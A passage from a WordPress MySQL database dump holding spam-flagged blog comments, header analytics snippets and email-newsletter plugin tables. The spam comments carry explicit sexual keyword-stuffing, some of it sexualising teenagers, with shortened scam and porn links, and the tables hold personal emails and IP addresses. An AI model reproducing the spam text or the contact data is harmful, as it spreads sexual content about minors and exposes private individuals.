cum on face in shop adult animated fun sex.\r\n\r\nhot wives having sex long videos lactating indian pornstars \r\nhttps://tinyurl.com/yj5omzee gay support t shirts free hairy porn tubes.\r\n\r\n\r\nbig dick video xxx clamidiya from a blowjob https://bit.ly/2OV6mUv fullweight teen smothering freshman initiation porn. \r\nadult vintage comics fuck very old granny https://tinyurl.com/ycb6vx4k asian city restaurant free clips \r\nof free porn. \r\ndo it for money porn independant escorts south uk https://tinyurl.com/yfun44fp collette vintage patterns slut \r\nteen video. \r\namature cougars fucking vintage china tea sets https://bit.ly/2Nepqg7 married bbw women that date what is \r\na dick dyke. \r\n\r\nsex strip bikini red tude girl sucking cock skinny british milfs blond perfect ass \r\nheroes celebrity porn. \r\nbig black dick smalley photos of teen girl models adrieene curry nude michelle moore and suzanne stonebarger \r\nnude pornstars lke it big. \r\nchairman cum manaigin director facial mask andrea lowell \r\nnude picture hot frim breast lut gets fucked in the ass.\r\nfree repository sex wife fucked by gang gay male strip clubs new \r\nyork private swingers parties miami fl gay oklahoma vacation rentals.\r\n\r\nnaomie harris naked london keys hardcore free sadism porn nude lezbians 2009 jelsoft enterprises ltd \r\nnaked boys swimming underwater.\r\nvintage wooden toolboxes nude beach spycam 1920 s sex pictures \r\ntoo gay to function mean girls black men fuck ryan conner.\r\n\r\nporn with private camera inoccent teens masturbating first time sexual love making pictures \r\nblond missionary fuck videos orgy in theater.\r\n\r\nasian asian japan journal journal sake satori lesbian nures decease pussy asian tapirs streaming young porn free.\r\n\r\nbreast augumentation midland texas busty asain on bus lesbian french kiss hentai \r\nsexual symbol and shoes erotic girl mallu.\r\ncog teen talent 2011 rima fakih sexy divx sexy videos free sites for girlfriends nude photos real doll sexy.\r\n\r\n\r\nalexis cruz pornstar naked hot girls on video   <a href=\"https://cutt.ly/4xiDkxJ\" rel=\"nofollow ugc\">kkx</a>   boobs out corset boobjob cum.\r\n\r\namatuer chubby wife private movie asin sex tubes   \r\n<a href=\"https://tinyurl.com/329r5j2r\" rel=\"nofollow ugc\">vdw</a>   best rated teen porn website free online lesbian fuck movies.\r\n\r\ngay barker realty vintage group tube movies   <a href=\"https://tinyurl.com/y96jjhsz\" rel=\"nofollow ugc\">ybh</a>   new england \r\nsperm bank kelly ripa bikini galleries. \r\ngee hydrangea pee tree tight miniskirt big tits   <a href=\"https://bit.ly/3ug5VD6\" rel=\"nofollow ugc\">qxc</a>   nude porn sex tongue ass woman orgasm signs.\r\n\r\ncougars milfs hot moms porn galleries german bikini teen   <a href=\"https://bit.ly/30zhg55\" rel=\"nofollow ugc\">qxb</a>   \r\nken mifune escort nyc official site drunkchicks sucking male strippers.\r\n\r\n\r\nsex position missionery sexy busty tan milf fucks   <a href=\"https://tinyurl.com/yfe24hze\" rel=\"nofollow ugc\">ltf</a>   foot job tube restoration fabric top vintage.\r\n\r\nfucking hartley nina girl fucked on bus  \r\n<a href=\"https://bit.ly/38BAsDF\" rel=\"nofollow ugc\">eco</a>   miami adult escort facesitting orgasm stories.\r\n\r\nblue man group latex ringkampf escort   <a href=\"https://bit.ly/3vjFHkQ\" rel=\"nofollow ugc\">rqe</a> \r\nblister on newborn penis yadkin pee dee watershed. \r\ntracy bigham nude bikini bars everett wa   <a href=\"https://tinyurl.com/ygvan6bj\" rel=\"nofollow ugc\">nak</a>   free videos men fucking mares free bdsm 3d \r\nsex art. \r\nproteinaceous fluid in dilated breast ducts diffferent namers of the virgin mary   <a href=\"https://cutt.ly/Hcryp5s\" rel=\"nofollow ugc\">uey</a>   how \r\ncan teenage boys masturbate teen nude cam beach.\r\n\r\n\r\naudrey bitoni big cock very old pussy videos www elephant video ermafrodite moster cock diddylicious cumshot gallery naked women with hard nipples.\r\n\r\nfree nude stephanie swift mature sex online vintage estate stove galaxy bikini girl mini tgp.\r\n\r\n\r\nlesbian anima videos restoring vintage guitars interracial breeding web sites naked picts of venassa huges south indian actress nude aiswariya vedio.\r\n\r\nhow to cut airline chicken breast importance in relationship sex powerpuff girls adult carly sucking cock \r\nblonde chubby.\r\nmen sex machine japanese toilet masturbation diana teen fuck teachers grades boobs martha maccallum\'s \r\npussy.\r\nbeautiful white women in porn movies sworn virgins \r\nliving as males free carmen electra sex mpegs interracial movie love scenes long \r\nfree blowjob clips.\r\nmainstreaming adult education quarter midget plans teen prisoners in the united states \r\nlesbian fisting shaking orgasm video tube find masturbation.\r\nsoftcore pictures of rugue the bat chicago vintage events el paso adult shops dvd porn review sites asian ladyboy pee.\r\n\r\nmoms and teens fuck girls fucking everything free selina \r\n18 hardcore massive cock loads winter pleasure.\r\n\r\nblocked tear duct treatment for adult savannah big boobs adult video free samplers what are top three crimes asian americans commit search gals sex search.',0,'spam','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36','comment',0,0),
(4,71,'Casino App','lashayandre@lampartist.com','https://casinoslotsapprealmoney.Tumblr.com/casino%20slots%20app%20real%20money','5.157.21.123','2021-11-17 03:22:11','2021-11-17 03:22:11','Greetinhs from Colorado! I\'m boreed at work so I decided \r\ntto browse your websiite on myy iphone during lunch break.\r\nI love the info you provide here and can\'t wait to take a look whhen I get home.\r\nI\'m shocked at how quick your blog loaded on my pone ..\r\nI\'m not even using WIFI, just 3G .. Anyways, amazing site! https://casinoslotsapprealmoney.Tumblr.com/casino%20slots%20app%20real%20money',0,'spam','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/66.0.3349.0 Safari/537.36','comment',0,0),
(5,71,'Best Dating Site','humoxgsyk@gmail.com','http://bit.do/fSCue','51.15.235.211','2021-11-25 06:43:59','2021-11-25 06:43:59','❤️ Alice want to meet you! Click Here: http://bit.do/fSCue ❤️',0,'spam','Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0','comment',0,0),
(6,71,'To Boot New York','george.king@gmail.com','https://hu.exospecial.com/toboot.com','185.213.27.108','2022-01-07 11:45:58','2022-01-07 11:45:58','Great content!  Keep up the good work!',0,'spam','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36','comment',0,0),
(7,164,'This Is Your New Start','48765@gmail.com','https://bit.ly/3jVaIuV','37.139.179.19','2023-02-19 00:49:18','2023-02-19 00:49:18','Here Is Everything You Need For A $503.34 Daily In Passive Income - https://bit.ly/3jVaIuV',0,'spam','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36','comment',0,0),
(8,108,'Extended Opportunity','49083@gmail.com','','185.125.50.5','2024-03-26 17:20:00','2024-03-26 17:20:00','Elevate Learning Adventures with The Story Shack!\r\n\r\nA library of 200+ high-quality books tailored to the school curriculum.\r\nStoryShack\'s Build a Book bundle features word searches, quizzes, creative coloring pages, high-quality images, and top SEO keywords.\r\nStoryShack\'s StoryCraft Pro bundle includes the \"Melody Minds Library\" with 350+ music tracks and \"AnimateMasters Pro,\" offering 30+ categories of animations.\r\nAnd as if that\'s not enough, here are the MEGA BONUSES:\r\n\r\n✔ 100+ Mega Mazes Pack\r\n✔ 100+ Sudoku Elements Pack\r\n✔ 100+ Comic Book Template Pack\r\n✔ 100+ Handwriting Practice Template Pack\r\n✔ 100+ Kids Story Book Templates\r\n✔ Canva Book Templates\r\n✔ Additional beautiful content like journal prompts\r\n✔ INCLUDED: The Ultimate Workbook\r\n\r\nClick https://ext-opp.com/StoryShack to explore The Story Shack e-Learning Collection and seize the opportunity for multiplied income!',0,'spam','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36','comment',0,0),
(9,170,'Extended Opportunity','63142@gmail.com','','185.125.50.5','2024-04-02 15:53:47','2024-04-02 15:53:47','Millions of Free Traffic with AI Tools - https://ext-opp.com/AIVault',0,'spam','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36','comment',0,0);
/*!40000 ALTER TABLE `wp4v_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_hfcm_scripts`
--

DROP TABLE IF EXISTS `wp4v_hfcm_scripts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_hfcm_scripts` (
  `script_id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) DEFAULT NULL,
  `snippet` longtext DEFAULT NULL,
  `snippet_type` enum('html','js','css') DEFAULT 'html',
  `device_type` enum('mobile','desktop','both') DEFAULT 'both',
  `location` varchar(100) NOT NULL,
  `display_on` enum('All','s_pages','s_posts','s_categories','s_custom_posts','s_tags','s_is_home','s_is_search','s_is_archive','latest_posts','manual') NOT NULL DEFAULT 'All',
  `lp_count` int(10) DEFAULT NULL,
  `s_pages` mediumtext DEFAULT NULL,
  `ex_pages` mediumtext DEFAULT NULL,
  `s_posts` mediumtext DEFAULT NULL,
  `ex_posts` mediumtext DEFAULT NULL,
  `s_custom_posts` varchar(300) DEFAULT NULL,
  `s_categories` varchar(300) DEFAULT NULL,
  `s_tags` varchar(300) DEFAULT NULL,
  `spt_display_on` enum('both','posts','archives') NOT NULL DEFAULT 'both',
  `status` enum('active','inactive') NOT NULL DEFAULT 'active',
  `created_by` varchar(300) DEFAULT NULL,
  `last_modified_by` varchar(300) DEFAULT NULL,
  `created` datetime DEFAULT NULL,
  `last_revision_date` datetime DEFAULT NULL,
  PRIMARY KEY (`script_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_hfcm_scripts`
--

LOCK TABLES `wp4v_hfcm_scripts` WRITE;
/*!40000 ALTER TABLE `wp4v_hfcm_scripts` DISABLE KEYS */;
INSERT INTO `wp4v_hfcm_scripts` VALUES
(1,'Google Analytics','<!-- Global site tag (gtag.js) - Google Analytics -->\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-1KH5MTH46K\"></script>\r\n<script>\r\n  window.dataLayer = window.dataLayer || [];\r\n  function gtag(){dataLayer.push(arguments);}\r\n  gtag(\'js\', new Date());\r\n\r\n  gtag(\'config\', \'G-1KH5MTH46K\');\r\n</script>','html','both','header','All',5,'[]','[]','[]','[]','[]','[]','[]','both','active','trevorkl',NULL,'2021-05-06 15:16:25',NULL),
(2,'MailerLite','<!-- MailerLite Universal -->\r\n<script>\r\n(function(m,a,i,l,e,r){ m[\'MailerLiteObject\']=e;function f(){\r\nvar c={ a:arguments,q:[]};var r=this.push(c);return \"number\"!=typeof r?r:f.bind(c.q);}\r\nf.q=f.q||[];m[e]=m[e]||f.bind(f.q);m[e].q=m[e].q||f.q;r=a.createElement(i);\r\nvar _=a.getElementsByTagName(i)[0];r.async=1;r.src=l+\'?v\'+(~~(new Date().getTime()/1000000));\r\n_.parentNode.insertBefore(r,_);})(window, document, \'script\', \'https://static.mailerlite.com/js/universal.js\', \'ml\');\r\n\r\nvar ml_account = ml(\'accounts\', \'1447886\', \'p2j3d8j1q4\', \'load\');\r\n</script>\r\n<!-- End MailerLite Universal -->\r\n','html','both','header','All',5,'[]','[]','[]','[]','[]','[]','[]','both','active','trevorkl',NULL,'2021-10-07 15:58:52',NULL);
/*!40000 ALTER TABLE `wp4v_hfcm_scripts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_actions`
--

DROP TABLE IF EXISTS `wp4v_ig_actions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_actions` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `contact_id` bigint(20) unsigned DEFAULT NULL,
  `message_id` bigint(20) unsigned DEFAULT NULL,
  `campaign_id` bigint(20) unsigned DEFAULT NULL,
  `type` tinyint(1) NOT NULL DEFAULT 0,
  `count` int(11) unsigned NOT NULL DEFAULT 0,
  `link_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `list_id` int(11) unsigned NOT NULL DEFAULT 0,
  `ip` varchar(50) DEFAULT NULL,
  `country` varchar(50) DEFAULT NULL,
  `device` varchar(50) DEFAULT NULL,
  `browser` varchar(50) DEFAULT NULL,
  `email_client` varchar(50) DEFAULT NULL,
  `os` varchar(50) DEFAULT NULL,
  `created_at` int(11) unsigned NOT NULL DEFAULT 0,
  `updated_at` int(11) unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`contact_id`,`message_id`,`campaign_id`,`type`,`link_id`,`list_id`),
  KEY `contact_id` (`contact_id`),
  KEY `message_id` (`message_id`),
  KEY `campaign_id` (`campaign_id`),
  KEY `type` (`type`)
) ENGINE=InnoDB AUTO_INCREMENT=23 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_actions`
--

LOCK TABLES `wp4v_ig_actions` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_actions` DISABLE KEYS */;
INSERT INTO `wp4v_ig_actions` VALUES
(1,0,0,0,2,4,0,0,'','','','','','',1633621705,1633621706),
(5,2,2,1,2,4,0,0,'','','','','','',1633621706,1633621707),
(7,1,2,1,2,2,0,0,'','','','','','',1633621707,1633621707),
(11,2,2,1,3,7,0,0,'66.102.8.173','US','desktop','Firefox','Gmail','Windows',1633621731,1633621749),
(18,1,1,1,2,1,0,0,'','','','','','',1633621900,1633621900),
(19,2,1,1,2,1,0,0,'','','','','','',1633621901,1633621901),
(20,1,0,0,2,1,0,0,'','','','','','',1633621902,1633621902),
(21,2,1,1,3,2,0,0,'66.102.8.175','US','desktop','Firefox','Gmail','Windows',1633621945,1633621952);
/*!40000 ALTER TABLE `wp4v_ig_actions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_blocked_emails`
--

DROP TABLE IF EXISTS `wp4v_ig_blocked_emails`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_blocked_emails` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `email` varchar(50) DEFAULT NULL,
  `ip` varchar(45) DEFAULT NULL,
  `created_on` timestamp NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_blocked_emails`
--

LOCK TABLES `wp4v_ig_blocked_emails` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_blocked_emails` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_blocked_emails` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_campaigns`
--

DROP TABLE IF EXISTS `wp4v_ig_campaigns`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_campaigns` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `slug` varchar(255) DEFAULT NULL,
  `name` varchar(255) DEFAULT NULL,
  `type` varchar(50) DEFAULT NULL,
  `parent_id` int(10) unsigned DEFAULT NULL,
  `parent_type` varchar(50) DEFAULT NULL,
  `subject` varchar(255) DEFAULT NULL,
  `body` longtext DEFAULT NULL,
  `from_name` varchar(250) DEFAULT NULL,
  `from_email` varchar(150) DEFAULT NULL,
  `reply_to_name` varchar(250) DEFAULT NULL,
  `reply_to_email` varchar(150) DEFAULT NULL,
  `categories` text DEFAULT NULL,
  `list_ids` text NOT NULL,
  `base_template_id` int(10) NOT NULL,
  `status` tinyint(4) NOT NULL,
  `meta` longtext DEFAULT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  `deleted_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `type` (`type`),
  KEY `status` (`status`),
  KEY `base_template_id` (`base_template_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_campaigns`
--

LOCK TABLES `wp4v_ig_campaigns` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_campaigns` DISABLE KEYS */;
INSERT INTO `wp4v_ig_campaigns` VALUES
(1,'welcome-to-email-subscribers','Welcome To Email Subscribers','newsletter',NULL,NULL,'Welcome To Email Subscribers','<strong style=\"color: #990000\">What can you achieve using Email Subscribers?</strong><p>Add subscription forms on website, send HTML newsletters. You can also Import or Export subscribers from any list to Email Subscribers.</p> <strong style=\"color: #990000\">Plugin Features</strong><ol> <li>Send notification emails to subscribers when new blog posts are published.</li> <li>Subscribe form available with 3 options to setup.</li> <li>Double Opt-In and Single Opt-In support.</li> <li>Email notification to admin when a new user signs up (Optional).</li> <li>Automatic welcome email to subscriber.</li> <li>Auto add unsubscribe link in the email.</li> <li>Import/Export subscriber emails to migrate to any lists.</li> <li>Default WordPress editor to create emails.</li> </ol> <strong>Thanks & Regards,</strong><br/>Admin<br/>','Trevor Klee','klevertree@gmail.com','Trevor Klee','klevertree@gmail.com','','1',209,5,'a:2:{s:20:\"enable_open_tracking\";s:3:\"yes\";s:20:\"enable_link_tracking\";s:2:\"no\";}','2021-10-07 15:48:23',NULL,NULL),
(2,'new-post-published-posttitle','New Post Published - {{POSTTITLE}}','post_notification',NULL,NULL,NULL,'','klevertree@gmail.com','Trevor Klee','klevertree@gmail.com','Trevor Klee','##1##','1',210,0,NULL,'2021-10-07 15:48:23',NULL,NULL);
/*!40000 ALTER TABLE `wp4v_ig_campaigns` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_contact_meta`
--

DROP TABLE IF EXISTS `wp4v_ig_contact_meta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_contact_meta` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `contact_id` bigint(10) unsigned NOT NULL,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `contact_id` (`contact_id`),
  KEY `meta_ley` (`meta_key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_contact_meta`
--

LOCK TABLES `wp4v_ig_contact_meta` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_contact_meta` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_contact_meta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_contactmeta`
--

DROP TABLE IF EXISTS `wp4v_ig_contactmeta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_contactmeta` (
  `meta_id` bigint(20) NOT NULL AUTO_INCREMENT,
  `contact_id` bigint(20) unsigned NOT NULL,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`meta_id`),
  KEY `contact_id` (`contact_id`),
  KEY `meta_ley` (`meta_key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_contactmeta`
--

LOCK TABLES `wp4v_ig_contactmeta` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_contactmeta` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_contactmeta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_contacts`
--

DROP TABLE IF EXISTS `wp4v_ig_contacts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_contacts` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `wp_user_id` int(10) NOT NULL DEFAULT 0,
  `first_name` varchar(50) DEFAULT NULL,
  `last_name` varchar(50) DEFAULT NULL,
  `email` varchar(50) NOT NULL,
  `source` varchar(50) DEFAULT NULL,
  `ip_address` varchar(50) DEFAULT NULL,
  `country_code` varchar(50) DEFAULT NULL,
  `form_id` int(10) NOT NULL DEFAULT 0,
  `status` varchar(10) DEFAULT NULL,
  `unsubscribed` tinyint(1) NOT NULL DEFAULT 0,
  `hash` varchar(50) DEFAULT NULL,
  `engagement_score` float DEFAULT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  `is_verified` tinyint(1) DEFAULT 0,
  `is_disposable` tinyint(1) DEFAULT 0,
  `is_rolebased` tinyint(1) DEFAULT 0,
  `is_webmail` tinyint(1) DEFAULT 0,
  `is_deliverable` tinyint(1) DEFAULT 0,
  `is_sendsafely` tinyint(1) DEFAULT 0,
  `meta` longtext CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `wp_user_id` (`wp_user_id`),
  KEY `email` (`email`),
  KEY `status` (`status`),
  KEY `form_id` (`form_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_contacts`
--

LOCK TABLES `wp4v_ig_contacts` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_contacts` DISABLE KEYS */;
INSERT INTO `wp4v_ig_contacts` VALUES
(1,1,'klevertree@gmail.com','','klevertree@gmail.com','admin','','',0,'verified',0,'hfjtyd-fvwhse-hlvuby-ylotkh-gmoeqs',4,'2021-10-07 15:48:23','0000-00-00 00:00:00',1,0,0,0,1,1,''),
(2,0,'trevor','','trevor@highwaypharm.com','admin','','',0,'verified',0,'embhyi-xlgamk-xpzirg-njyzdl-tfupzy',4,'2021-10-07 15:48:23','0000-00-00 00:00:00',1,0,0,0,1,1,'');
/*!40000 ALTER TABLE `wp4v_ig_contacts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_contacts_ips`
--

DROP TABLE IF EXISTS `wp4v_ig_contacts_ips`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_contacts_ips` (
  `ip` varchar(45) NOT NULL,
  `created_on` timestamp NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`created_on`,`ip`),
  KEY `ip` (`ip`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_contacts_ips`
--

LOCK TABLES `wp4v_ig_contacts_ips` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_contacts_ips` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_contacts_ips` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_custom_fields`
--

DROP TABLE IF EXISTS `wp4v_ig_custom_fields`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_custom_fields` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `slug` varchar(100) NOT NULL,
  `label` varchar(100) NOT NULL,
  `type` varchar(50) NOT NULL,
  `meta` longtext DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_custom_fields`
--

LOCK TABLES `wp4v_ig_custom_fields` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_custom_fields` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_custom_fields` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_forms`
--

DROP TABLE IF EXISTS `wp4v_ig_forms`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_forms` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `body` longtext DEFAULT NULL,
  `settings` longtext DEFAULT NULL,
  `styles` longtext DEFAULT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  `deleted_at` datetime DEFAULT NULL,
  `af_id` int(10) NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_forms`
--

LOCK TABLES `wp4v_ig_forms` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_forms` DISABLE KEYS */;
INSERT INTO `wp4v_ig_forms` VALUES
(1,'First Form','a:4:{i:0;a:5:{s:4:\"type\";s:4:\"text\";s:4:\"name\";s:4:\"Name\";s:2:\"id\";s:4:\"name\";s:6:\"params\";a:3:{s:5:\"label\";s:4:\"Name\";s:4:\"show\";b:1;s:8:\"required\";b:1;}s:8:\"position\";i:1;}i:1;a:5:{s:4:\"type\";s:4:\"text\";s:4:\"name\";s:5:\"Email\";s:2:\"id\";s:5:\"email\";s:6:\"params\";a:3:{s:5:\"label\";s:5:\"Email\";s:4:\"show\";b:1;s:8:\"required\";b:1;}s:8:\"position\";i:2;}i:2;a:5:{s:4:\"type\";s:8:\"checkbox\";s:4:\"name\";s:5:\"Lists\";s:2:\"id\";s:5:\"lists\";s:6:\"params\";a:4:{s:5:\"label\";s:5:\"Lists\";s:4:\"show\";b:0;s:8:\"required\";b:1;s:6:\"values\";a:1:{i:0;s:1:\"2\";}}s:8:\"position\";i:3;}i:3;a:5:{s:4:\"type\";s:6:\"submit\";s:4:\"name\";s:6:\"submit\";s:2:\"id\";s:6:\"submit\";s:6:\"params\";a:2:{s:5:\"label\";s:9:\"Subscribe\";s:4:\"show\";b:1;}s:8:\"position\";i:4;}}','a:2:{s:5:\"lists\";a:1:{i:0;s:1:\"2\";}s:4:\"desc\";s:0:\"\";}','','2021-10-07 15:48:23',NULL,NULL,0);
/*!40000 ALTER TABLE `wp4v_ig_forms` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_links`
--

DROP TABLE IF EXISTS `wp4v_ig_links`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_links` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `message_id` int(10) unsigned NOT NULL,
  `campaign_id` int(10) unsigned NOT NULL,
  `link` varchar(2083) NOT NULL,
  `hash` varchar(20) NOT NULL,
  `i` tinyint(1) unsigned NOT NULL,
  `created_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `campaign_id` (`campaign_id`),
  KEY `message_id` (`message_id`),
  KEY `link` (`link`(100))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_links`
--

LOCK TABLES `wp4v_ig_links` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_links` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_links` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_lists`
--

DROP TABLE IF EXISTS `wp4v_ig_lists`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_lists` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `slug` varchar(255) NOT NULL,
  `name` varchar(255) NOT NULL,
  `hash` varchar(12) NOT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  `deleted_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_lists`
--

LOCK TABLES `wp4v_ig_lists` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_lists` DISABLE KEYS */;
INSERT INTO `wp4v_ig_lists` VALUES
(1,'test','Test','f99090d6b46a','2021-10-07 15:48:23',NULL,NULL),
(2,'main','Main','197aa303d7e0','2021-10-07 15:48:23',NULL,NULL);
/*!40000 ALTER TABLE `wp4v_ig_lists` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_lists_contacts`
--

DROP TABLE IF EXISTS `wp4v_ig_lists_contacts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
